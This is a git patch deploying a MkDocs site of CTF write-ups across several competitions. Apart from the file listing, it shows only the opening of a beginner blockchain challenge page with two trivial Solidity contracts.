From 4739ff7e1d9950b9ea08cf215a141b201e887184 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Tue, 18 Jun 2024 14:14:57 +0000 Subject: [PATCH] Deployed 32503f8 with MkDocs version: 1.6.0 --- .nojekyll | 0 .../blockchain/index.html | 1812 +++++ .../navigating_the_unknown/index.html | 1930 +++++ .../blockchain/shooting_101/index.html | 1959 +++++ 2023/cyber-apocalypse-2023/crypto/index.html | 1812 +++++ .../crypto/inside_the_matrix/index.html | 1959 +++++ .../crypto/multipage_recyclings/index.html | 1914 +++++ .../crypto/perfect_synchronization/index.html | 1943 +++++ .../crypto/small_steps/index.html | 1920 +++++ .../forensics/index.html | 1812 +++++ .../forensics/packet_cyclone/index.html | 1990 +++++ .../hardware/hm74/index.html | 1967 +++++ .../cyber-apocalypse-2023/hardware/index.html | 1812 +++++ 2023/cyber-apocalypse-2023/web/index.html | 1812 +++++ .../web/passman/index.html | 2158 ++++++ .../blockchain/ledgerheist/index.html | 1951 +++++ .../blockchain/luckyfaucet/index.html | 1867 +++++ .../blockchain/russianroulette/index.html | 1859 +++++ .../crypto/permuted/index.html | 2213 ++++++ ...t 2024-03-16 at 4.08.55\342\200\257PM.png" | Bin 0 -> 431436 bytes ...t 2024-03-16 at 4.58.04\342\200\257PM.png" | Bin 0 -> 489707 bytes ...t 2024-03-16 at 5.41.40\342\200\257PM.png" | Bin 0 -> 189429 bytes ...t 2024-03-24 at 4.03.50\342\200\257PM.png" | Bin 0 -> 301675 bytes ...t 2024-03-24 at 4.09.05\342\200\257PM.png" | Bin 0 -> 170605 bytes ...t 2024-03-24 at 4.09.35\342\200\257PM.png" | Bin 0 -> 177640 bytes 2024/Cyber-Aplocalypse-2024/index.html | 1817 +++++ .../blockchain/blockchains/index.html | 1976 +++++ 2024/JustCTF2024/index.html | 1817 +++++ 2024/Snapp-ctf-2024/crypto/Blex/index.html | 2034 +++++ .../crypto/Bombastic/index.html | 1895 +++++ 2024/Snapp-ctf-2024/crypto/Cryptos/index.html | 1913 +++++ 2024/Snapp-ctf-2024/crypto/Grail/index.html | 1968 +++++ .../crypto/Pasted image 20240223225648.png | Bin 0 -> 106518 bytes .../crypto/Pasted image 20240223225743.png | Bin 0 -> 80835 bytes .../crypto/Pasted image 20240223225803.png | Bin 0 -> 80675 bytes .../crypto/Pasted image 20240224001016.png | Bin 0 -> 6300 bytes .../crypto/Pasted image 20240224010224.png | Bin 0 -> 124842 bytes .../crypto/Pasted image 20240224010819.png | Bin 0 -> 13398 bytes .../crypto/Pasted image 20240224011454.png | Bin 0 -> 6010 bytes .../crypto/Pasted image 20240224011805.png | Bin 0 -> 180611 bytes .../crypto/Pasted image 20240224013825.png | Bin 0 -> 180635 bytes .../crypto/Pasted image 20240224141339.png | Bin 0 -> 154658 bytes .../crypto/Pasted image 20240224150445.png | Bin 0 -> 165318 bytes .../crypto/Pasted image 20240224150656.png | Bin 0 -> 159689 bytes .../crypto/Pasted image 20240224150818.png | Bin 0 -> 176443 bytes .../crypto/Pasted image 20240224155130.png | Bin 0 -> 135642 bytes .../crypto/Pasted image 20240224174253.png | Bin 0 -> 18830 bytes .../crypto/Pasted image 20240224233240.png | Bin 0 -> 86455 bytes .../crypto/Pasted image 20240224234248.png | Bin 0 -> 84466 bytes .../crypto/Pasted image 20240224235738.png | Bin 0 -> 5334 bytes .../crypto/Pasted image 20240224235930.png | Bin 0 -> 100718 bytes .../forensics/Pasted image 20240225145218.png | Bin 0 -> 191251 bytes .../forensics/Pasted image 20240225145645.png | Bin 0 -> 27176 bytes .../forensics/snapp_report/index.html | 1913 +++++ 2024/Snapp-ctf-2024/index.html | 1854 +++++ .../misc/prying_eyes/index.html | 1851 +++++ 2024/Snapp-ctf-2024/osint/11111.PNG | Bin 0 -> 90092 bytes 2024/Snapp-ctf-2024/osint/22222.PNG | Bin 0 -> 51774 bytes 2024/Snapp-ctf-2024/osint/33333.PNG | Bin 0 -> 40060 bytes 2024/Snapp-ctf-2024/osint/44444.PNG | Bin 0 -> 236947 bytes 2024/Snapp-ctf-2024/osint/55555.PNG | Bin 0 -> 120259 bytes .../osint/Pasted image 20240224182226.png | Bin 0 -> 59072 bytes .../osint/Pasted image 20240224182249.png | Bin 0 -> 72785 bytes .../osint/snapp_bounties/index.html | 1846 +++++ .../osint/snapp_customers/index.html | 1919 +++++ .../osint/snapp_records/index.html | 1918 +++++ .../osint/snapp_saving/index.html | 1844 +++++ .../pwn/IMG/Pasted image 20240225191817.png | Bin 0 -> 43333 bytes .../pwn/IMG/Pasted image 20240225192228.png | Bin 0 -> 44886 bytes .../Snapp-ctf-2024/pwn/snapp_admin/index.html | 1916 +++++ .../Snapp-ctf-2024/pwn/snapp_shell/index.html | 1955 +++++ .../Untitled 1.png | Bin 0 -> 28264 bytes .../Untitled 2.png | Bin 0 -> 14426 bytes .../Untitled.png | Bin 0 -> 39802 bytes 2024/Snapp-ctf-2024/rev/Blink.zip | Bin 0 -> 78257 bytes 2024/Snapp-ctf-2024/rev/TurnOB.zip | Bin 0 -> 1278 bytes .../Untitled 1.png | Bin 0 -> 123797 bytes .../Untitled.png | Bin 0 -> 36745 bytes 2024/Snapp-ctf-2024/rev/Visits.zip | Bin 0 -> 152365 bytes 2024/Snapp-ctf-2024/rev/blink/index.html | 1940 +++++ 2024/Snapp-ctf-2024/rev/turnob/index.html | 1959 +++++ 2024/Snapp-ctf-2024/rev/visits/index.html | 1920 +++++ 2024/Snapp-ctf-2024/scoreboard.png | Bin 0 -> 127087 bytes .../web/Pasted image 20240225002811.png | Bin 0 -> 13520 bytes .../web/Pasted image 20240225002857.png | Bin 0 -> 11376 bytes .../web/Pasted image 20240225002941.png | Bin 0 -> 18543 bytes .../web/Pasted image 20240225003052.png | Bin 0 -> 105871 bytes .../web/Pasted image 20240225003200.png | Bin 0 -> 14716 bytes .../web/Pasted image 20240225003246.png | Bin 0 -> 118310 bytes .../web/Pasted image 20240225003815.png | Bin 0 -> 49131 bytes .../web/Pasted image 20240225142038.png | Bin 0 -> 45613 bytes .../web/Pasted image 20240225234831.png | Bin 0 -> 91104 bytes .../web/Pasted image 20240225234845.png | Bin 0 -> 102963 bytes .../web/Pasted image 20240225234907.png | Bin 0 -> 108424 bytes .../web/Pasted image 20240225234933.png | Bin 0 -> 42710 bytes .../web/Pasted image 20240225234953.png | Bin 0 -> 114518 bytes .../web/Pasted image 20240225235024.png | Bin 0 -> 113850 bytes .../web/Pasted image 20240225235106.png | Bin 0 -> 17612 bytes .../web/Pasted image 20240225235130.png | Bin 0 -> 85433 bytes .../web/Pasted image 20240225235225.png | Bin 0 -> 96507 bytes .../web/Pasted image 20240225235311.png | Bin 0 -> 110276 bytes .../web/Pasted image 20240225235409.png | Bin 0 -> 42740 bytes .../web/Pasted image 20240225235522.png | Bin 0 -> 119402 bytes .../web/Pasted image 20240225235625.png | Bin 0 -> 121831 bytes .../web/Pasted image 20240225235932.png | Bin 0 -> 90418 bytes .../web/Pasted image 20240226000205.png | Bin 0 -> 104736 bytes .../web/Pasted image 20240226000255.png | Bin 0 -> 173504 bytes .../web/Pasted image 20240226000336.png | Bin 0 -> 142838 bytes .../web/Pasted image 20240226001053.png | Bin 0 -> 110606 bytes .../web/Pasted image 20240226001102.png | Bin 0 -> 196051 bytes .../web/Pasted image 20240226001204.png | Bin 0 -> 231730 bytes .../web/Pasted image 20240226001311.png | Bin 0 -> 65927 bytes .../web/Pasted image 20240226001440.png | Bin 0 -> 87412 bytes .../web/Pasted image 20240226002024.png | Bin 0 -> 58354 bytes .../web/Pasted image 20240226002046.png | Bin 0 -> 29153 bytes .../web/Pasted image 20240226002102.png | Bin 0 -> 91920 bytes 2024/Snapp-ctf-2024/web/snapp_cat/index.html | 1933 +++++ 2024/Snapp-ctf-2024/web/snapp_fal/index.html | 1880 +++++ 2024/Snapp-ctf-2024/web/welcome/index.html | 1917 +++++ 404.html | 1750 +++++ assets/images/favicon.png | Bin 0 -> 1870 bytes .../blockchain/index.png | Bin 0 -> 25775 bytes .../blockchain/navigating_the_unknown.png | Bin 0 -> 34608 bytes .../blockchain/shooting_101.png | Bin 0 -> 30303 bytes .../cyber-apocalypse-2023/crypto/index.png | Bin 0 -> 25775 bytes .../crypto/inside_the_matrix.png | Bin 0 -> 31627 bytes .../crypto/multipage_recyclings.png | Bin 0 -> 38640 bytes .../crypto/perfect_synchronization.png | Bin 0 -> 37374 bytes .../crypto/small_steps.png | Bin 0 -> 28536 bytes .../cyber-apocalypse-2023/forensics/index.png | Bin 0 -> 25775 bytes .../forensics/packet_cyclone.png | Bin 0 -> 31897 bytes .../cyber-apocalypse-2023/hardware/hm74.png | Bin 0 -> 24271 bytes .../cyber-apocalypse-2023/hardware/index.png | Bin 0 -> 25775 bytes .../2023/cyber-apocalypse-2023/web/index.png | Bin 0 -> 25775 bytes .../cyber-apocalypse-2023/web/passman.png | Bin 0 -> 27017 bytes .../blockchain/ledgerheist.png | Bin 0 -> 29047 bytes .../blockchain/luckyfaucet.png | Bin 0 -> 29277 bytes .../blockchain/russianroulette.png | Bin 0 -> 30957 bytes .../crypto/permuted.png | Bin 0 -> 26941 bytes .../2024/Cyber-Aplocalypse-2024/index.png | Bin 0 -> 51442 bytes .../JustCTF2024/blockchain/blockchains.png | Bin 0 -> 29192 bytes .../images/social/2024/JustCTF2024/index.png | Bin 0 -> 39574 bytes .../2024/Snapp-ctf-2024/crypto/Blex.png | Bin 0 -> 25349 bytes .../2024/Snapp-ctf-2024/crypto/Bombastic.png | Bin 0 -> 31255 bytes .../2024/Snapp-ctf-2024/crypto/Cryptos.png | Bin 0 -> 29648 bytes .../2024/Snapp-ctf-2024/crypto/Grail.png | Bin 0 -> 24947 bytes .../Snapp-ctf-2024/forensics/snapp_report.png | Bin 0 -> 31663 bytes .../social/2024/Snapp-ctf-2024/index.png | Bin 0 -> 41548 bytes .../2024/Snapp-ctf-2024/misc/prying_eyes.png | Bin 0 -> 30127 bytes .../Snapp-ctf-2024/osint/snapp_bounties.png | Bin 0 -> 33695 bytes .../Snapp-ctf-2024/osint/snapp_customers.png | Bin 0 -> 35324 bytes .../Snapp-ctf-2024/osint/snapp_records.png | Bin 0 -> 35506 bytes .../Snapp-ctf-2024/osint/snapp_saving.png | Bin 0 -> 30349 bytes .../2024/Snapp-ctf-2024/pwn/snapp_admin.png | Bin 0 -> 29390 bytes .../2024/Snapp-ctf-2024/pwn/snapp_shell.png | Bin 0 -> 30494 bytes .../social/2024/Snapp-ctf-2024/rev/blink.png | Bin 0 -> 24121 bytes .../social/2024/Snapp-ctf-2024/rev/turnob.png | Bin 0 -> 25881 bytes .../social/2024/Snapp-ctf-2024/rev/visits.png | Bin 0 -> 25280 bytes .../2024/Snapp-ctf-2024/web/snapp_cat.png | Bin 0 -> 28536 bytes .../2024/Snapp-ctf-2024/web/snapp_fal.png | Bin 0 -> 27389 bytes .../2024/Snapp-ctf-2024/web/welcome.png | Bin 0 -> 28428 bytes assets/images/social/index.png | Bin 0 -> 36234 bytes assets/javascripts/bundle.ad660dcc.min.js | 29 + assets/javascripts/bundle.ad660dcc.min.js.map | 7 + assets/javascripts/glightbox.min.js | 1 + assets/javascripts/lunr/min/lunr.ar.min.js | 1 + assets/javascripts/lunr/min/lunr.da.min.js | 18 + assets/javascripts/lunr/min/lunr.de.min.js | 18 + assets/javascripts/lunr/min/lunr.du.min.js | 18 + assets/javascripts/lunr/min/lunr.el.min.js | 1 + assets/javascripts/lunr/min/lunr.es.min.js | 18 + assets/javascripts/lunr/min/lunr.fi.min.js | 18 + assets/javascripts/lunr/min/lunr.fr.min.js | 18 + assets/javascripts/lunr/min/lunr.he.min.js | 1 + assets/javascripts/lunr/min/lunr.hi.min.js | 1 + assets/javascripts/lunr/min/lunr.hu.min.js | 18 + assets/javascripts/lunr/min/lunr.hy.min.js | 1 + assets/javascripts/lunr/min/lunr.it.min.js | 18 + assets/javascripts/lunr/min/lunr.ja.min.js | 1 + assets/javascripts/lunr/min/lunr.jp.min.js | 1 + assets/javascripts/lunr/min/lunr.kn.min.js | 1 + assets/javascripts/lunr/min/lunr.ko.min.js | 1 + assets/javascripts/lunr/min/lunr.multi.min.js | 1 + assets/javascripts/lunr/min/lunr.nl.min.js | 18 + assets/javascripts/lunr/min/lunr.no.min.js | 18 + assets/javascripts/lunr/min/lunr.pt.min.js | 18 + assets/javascripts/lunr/min/lunr.ro.min.js | 18 + assets/javascripts/lunr/min/lunr.ru.min.js | 18 + assets/javascripts/lunr/min/lunr.sa.min.js | 1 + .../lunr/min/lunr.stemmer.support.min.js | 1 + assets/javascripts/lunr/min/lunr.sv.min.js | 18 + assets/javascripts/lunr/min/lunr.ta.min.js | 1 + assets/javascripts/lunr/min/lunr.te.min.js | 1 + assets/javascripts/lunr/min/lunr.th.min.js | 1 + assets/javascripts/lunr/min/lunr.tr.min.js | 18 + assets/javascripts/lunr/min/lunr.vi.min.js | 1 + assets/javascripts/lunr/min/lunr.zh.min.js | 1 + assets/javascripts/lunr/tinyseg.js | 206 + assets/javascripts/lunr/wordcut.js | 6708 +++++++++++++++++ .../workers/search.b8dbb3d2.min.js | 42 + .../workers/search.b8dbb3d2.min.js.map | 7 + assets/stylesheets/glightbox.min.css | 1 + assets/stylesheets/main.6543a935.min.css | 1 + assets/stylesheets/main.6543a935.min.css.map | 1 + assets/stylesheets/palette.06af60db.min.css | 1 + .../stylesheets/palette.06af60db.min.css.map | 1 + favicon.png | Bin 0 -> 7633 bytes index.html | 1823 +++++ search/search_index.json | 1 + sitemap.xml | 208 + sitemap.xml.gz | Bin 0 -> 610 bytes 211 files changed, 87749 insertions(+) create mode 100644 .nojekyll create mode 100644 2023/cyber-apocalypse-2023/blockchain/index.html create mode 100644 2023/cyber-apocalypse-2023/blockchain/navigating_the_unknown/index.html create mode 100644 2023/cyber-apocalypse-2023/blockchain/shooting_101/index.html create mode 100644 2023/cyber-apocalypse-2023/crypto/index.html create mode 100644 2023/cyber-apocalypse-2023/crypto/inside_the_matrix/index.html create mode 100644 2023/cyber-apocalypse-2023/crypto/multipage_recyclings/index.html create mode 100644 2023/cyber-apocalypse-2023/crypto/perfect_synchronization/index.html create mode 100644 2023/cyber-apocalypse-2023/crypto/small_steps/index.html create mode 100644 2023/cyber-apocalypse-2023/forensics/index.html create mode 100644 2023/cyber-apocalypse-2023/forensics/packet_cyclone/index.html create mode 100644 2023/cyber-apocalypse-2023/hardware/hm74/index.html create mode 100644 2023/cyber-apocalypse-2023/hardware/index.html create mode 100644 2023/cyber-apocalypse-2023/web/index.html create mode 100644 2023/cyber-apocalypse-2023/web/passman/index.html create mode 100644 2024/Cyber-Aplocalypse-2024/blockchain/ledgerheist/index.html create mode 100644 2024/Cyber-Aplocalypse-2024/blockchain/luckyfaucet/index.html create mode 100644 2024/Cyber-Aplocalypse-2024/blockchain/russianroulette/index.html create mode 100644 2024/Cyber-Aplocalypse-2024/crypto/permuted/index.html create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-16 at 4.08.55\342\200\257PM.png" create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-16 at 4.58.04\342\200\257PM.png" create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-16 at 5.41.40\342\200\257PM.png" create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-24 at 4.03.50\342\200\257PM.png" create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-24 at 4.09.05\342\200\257PM.png" create mode 100644 "2024/Cyber-Aplocalypse-2024/imgs/Screenshot 2024-03-24 at 4.09.35\342\200\257PM.png" create mode 100644 2024/Cyber-Aplocalypse-2024/index.html create mode 100644 2024/JustCTF2024/blockchain/blockchains/index.html create mode 100644 2024/JustCTF2024/index.html create mode 100644 2024/Snapp-ctf-2024/crypto/Blex/index.html create mode 100644 2024/Snapp-ctf-2024/crypto/Bombastic/index.html create mode 100644 2024/Snapp-ctf-2024/crypto/Cryptos/index.html create mode 100644 2024/Snapp-ctf-2024/crypto/Grail/index.html create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240223225648.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240223225743.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240223225803.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224001016.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224010224.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224010819.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224011454.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224011805.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224013825.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224141339.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224150445.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224150656.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224150818.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224155130.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224174253.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224233240.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224234248.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224235738.png create mode 100644 2024/Snapp-ctf-2024/crypto/Pasted image 20240224235930.png create mode 100644 2024/Snapp-ctf-2024/forensics/Pasted image 20240225145218.png create mode 100644 2024/Snapp-ctf-2024/forensics/Pasted image 20240225145645.png create mode 100644 2024/Snapp-ctf-2024/forensics/snapp_report/index.html create mode 100644 2024/Snapp-ctf-2024/index.html create mode 100644 2024/Snapp-ctf-2024/misc/prying_eyes/index.html create mode 100644 2024/Snapp-ctf-2024/osint/11111.PNG create mode 100644 2024/Snapp-ctf-2024/osint/22222.PNG create mode 100644 2024/Snapp-ctf-2024/osint/33333.PNG create mode 100644 2024/Snapp-ctf-2024/osint/44444.PNG create mode 100644 2024/Snapp-ctf-2024/osint/55555.PNG create mode 100644 2024/Snapp-ctf-2024/osint/Pasted image 20240224182226.png create mode 100644 2024/Snapp-ctf-2024/osint/Pasted image 20240224182249.png create mode 100644 2024/Snapp-ctf-2024/osint/snapp_bounties/index.html create mode 100644 2024/Snapp-ctf-2024/osint/snapp_customers/index.html create mode 100644 2024/Snapp-ctf-2024/osint/snapp_records/index.html create mode 100644 2024/Snapp-ctf-2024/osint/snapp_saving/index.html create mode 100644 2024/Snapp-ctf-2024/pwn/IMG/Pasted image 20240225191817.png create mode 100644 2024/Snapp-ctf-2024/pwn/IMG/Pasted image 20240225192228.png create mode 100644 2024/Snapp-ctf-2024/pwn/snapp_admin/index.html create mode 100644 2024/Snapp-ctf-2024/pwn/snapp_shell/index.html create mode 100644 2024/Snapp-ctf-2024/rev/Blink b008195dadce4ae3940e509ae8706479/Untitled 1.png create mode 100644 2024/Snapp-ctf-2024/rev/Blink b008195dadce4ae3940e509ae8706479/Untitled 2.png create mode 100644 2024/Snapp-ctf-2024/rev/Blink b008195dadce4ae3940e509ae8706479/Untitled.png create mode 100644 2024/Snapp-ctf-2024/rev/Blink.zip create mode 100644 2024/Snapp-ctf-2024/rev/TurnOB.zip create mode 100644 2024/Snapp-ctf-2024/rev/Visits a3941f36f74445f2b145470aeeca227e/Untitled 1.png create mode 100644 2024/Snapp-ctf-2024/rev/Visits a3941f36f74445f2b145470aeeca227e/Untitled.png create mode 100644 2024/Snapp-ctf-2024/rev/Visits.zip create mode 100644 2024/Snapp-ctf-2024/rev/blink/index.html create mode 100644 2024/Snapp-ctf-2024/rev/turnob/index.html create mode 100644 2024/Snapp-ctf-2024/rev/visits/index.html create mode 100644 2024/Snapp-ctf-2024/scoreboard.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225002811.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225002857.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225002941.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225003052.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225003200.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225003246.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225003815.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225142038.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225234831.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225234845.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225234907.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225234933.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225234953.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235024.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235106.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235130.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235225.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235311.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235409.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235522.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235625.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240225235932.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226000205.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226000255.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226000336.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226001053.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226001102.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226001204.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226001311.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226001440.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226002024.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226002046.png create mode 100644 2024/Snapp-ctf-2024/web/Pasted image 20240226002102.png create mode 100644 2024/Snapp-ctf-2024/web/snapp_cat/index.html create mode 100644 2024/Snapp-ctf-2024/web/snapp_fal/index.html create mode 100644 2024/Snapp-ctf-2024/web/welcome/index.html create mode 100644 404.html create mode 100644 assets/images/favicon.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/blockchain/index.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/blockchain/navigating_the_unknown.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/blockchain/shooting_101.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/crypto/index.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/crypto/inside_the_matrix.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/crypto/multipage_recyclings.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/crypto/perfect_synchronization.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/crypto/small_steps.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/forensics/index.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/forensics/packet_cyclone.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/hardware/hm74.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/hardware/index.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/web/index.png create mode 100644 assets/images/social/2023/cyber-apocalypse-2023/web/passman.png create mode 100644 assets/images/social/2024/Cyber-Aplocalypse-2024/blockchain/ledgerheist.png create mode 100644 assets/images/social/2024/Cyber-Aplocalypse-2024/blockchain/luckyfaucet.png create mode 100644 assets/images/social/2024/Cyber-Aplocalypse-2024/blockchain/russianroulette.png create mode 100644 assets/images/social/2024/Cyber-Aplocalypse-2024/crypto/permuted.png create mode 100644 assets/images/social/2024/Cyber-Aplocalypse-2024/index.png create mode 100644 assets/images/social/2024/JustCTF2024/blockchain/blockchains.png create mode 100644 assets/images/social/2024/JustCTF2024/index.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/crypto/Blex.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/crypto/Bombastic.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/crypto/Cryptos.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/crypto/Grail.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/forensics/snapp_report.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/index.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/misc/prying_eyes.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/osint/snapp_bounties.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/osint/snapp_customers.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/osint/snapp_records.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/osint/snapp_saving.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/pwn/snapp_admin.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/pwn/snapp_shell.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/rev/blink.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/rev/turnob.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/rev/visits.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/web/snapp_cat.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/web/snapp_fal.png create mode 100644 assets/images/social/2024/Snapp-ctf-2024/web/welcome.png create mode 100644 assets/images/social/index.png create mode 100644 assets/javascripts/bundle.ad660dcc.min.js create mode 100644 assets/javascripts/bundle.ad660dcc.min.js.map create mode 100644 assets/javascripts/glightbox.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ar.min.js create mode 100644 assets/javascripts/lunr/min/lunr.da.min.js create mode 100644 assets/javascripts/lunr/min/lunr.de.min.js create mode 100644 assets/javascripts/lunr/min/lunr.du.min.js create mode 100644 assets/javascripts/lunr/min/lunr.el.min.js create mode 100644 assets/javascripts/lunr/min/lunr.es.min.js create mode 100644 assets/javascripts/lunr/min/lunr.fi.min.js create mode 100644 assets/javascripts/lunr/min/lunr.fr.min.js create mode 100644 assets/javascripts/lunr/min/lunr.he.min.js create mode 100644 assets/javascripts/lunr/min/lunr.hi.min.js create mode 100644 assets/javascripts/lunr/min/lunr.hu.min.js create mode 100644 assets/javascripts/lunr/min/lunr.hy.min.js create mode 100644 assets/javascripts/lunr/min/lunr.it.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ja.min.js create mode 100644 assets/javascripts/lunr/min/lunr.jp.min.js create mode 100644 assets/javascripts/lunr/min/lunr.kn.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ko.min.js create mode 100644 assets/javascripts/lunr/min/lunr.multi.min.js create mode 100644 assets/javascripts/lunr/min/lunr.nl.min.js create mode 100644 assets/javascripts/lunr/min/lunr.no.min.js create mode 100644 assets/javascripts/lunr/min/lunr.pt.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ro.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ru.min.js create mode 100644 assets/javascripts/lunr/min/lunr.sa.min.js create mode 100644 assets/javascripts/lunr/min/lunr.stemmer.support.min.js create mode 100644 assets/javascripts/lunr/min/lunr.sv.min.js create mode 100644 assets/javascripts/lunr/min/lunr.ta.min.js create mode 100644 assets/javascripts/lunr/min/lunr.te.min.js create mode 100644 assets/javascripts/lunr/min/lunr.th.min.js create mode 100644 assets/javascripts/lunr/min/lunr.tr.min.js create mode 100644 assets/javascripts/lunr/min/lunr.vi.min.js create mode 100644 assets/javascripts/lunr/min/lunr.zh.min.js create mode 100644 assets/javascripts/lunr/tinyseg.js create mode 100644 assets/javascripts/lunr/wordcut.js create mode 100644 assets/javascripts/workers/search.b8dbb3d2.min.js create mode 100644 assets/javascripts/workers/search.b8dbb3d2.min.js.map create mode 100644 assets/stylesheets/glightbox.min.css create mode 100644 assets/stylesheets/main.6543a935.min.css create mode 100644 assets/stylesheets/main.6543a935.min.css.map create mode 100644 assets/stylesheets/palette.06af60db.min.css create mode 100644 assets/stylesheets/palette.06af60db.min.css.map create mode 100644 favicon.png create mode 100644 index.html create mode 100644 search/search_index.json create mode 100644 sitemap.xml create mode 100644 sitemap.xml.gz diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/2023/cyber-apocalypse-2023/blockchain/index.html b/2023/cyber-apocalypse-2023/blockchain/index.html new file mode 100644 index 0000000..5fd5727 --- /dev/null +++ b/2023/cyber-apocalypse-2023/blockchain/index.html @@ -0,0 +1,1812 @@ + + + +
+ + + + + + + + + + + + + + + + + + + + +Your advanced sensory systems make it easy for you to navigate familiar environments, but you must rely on intuition to navigate in unknown territories.
+Through practice and training, you must learn to read subtle cues and become comfortable in unpredictable situations.
+Can you use your software to find your way through the blocks?
+
Setup.sol +
pragma solidity ^0.8.18;
+
+import {Unknown} from "./Unknown.sol";
+
+contract Setup {
+ Unknown public immutable TARGET;
+
+ constructor() {
+ TARGET = new Unknown();
+ }
+
+ function isSolved() public view returns (bool) {
+ return TARGET.updated();
+ }
+}
+
Unknown.sol +
pragma solidity ^0.8.18;
+
+contract Unknown {
+
+ bool public updated;
+
+ function updateSensors(uint256 version) external {
+ if (version == 10) {
+ updated = true;
+ }
+ }
+}
+
Here we have two smart contracts named Setup
and Unknown
\
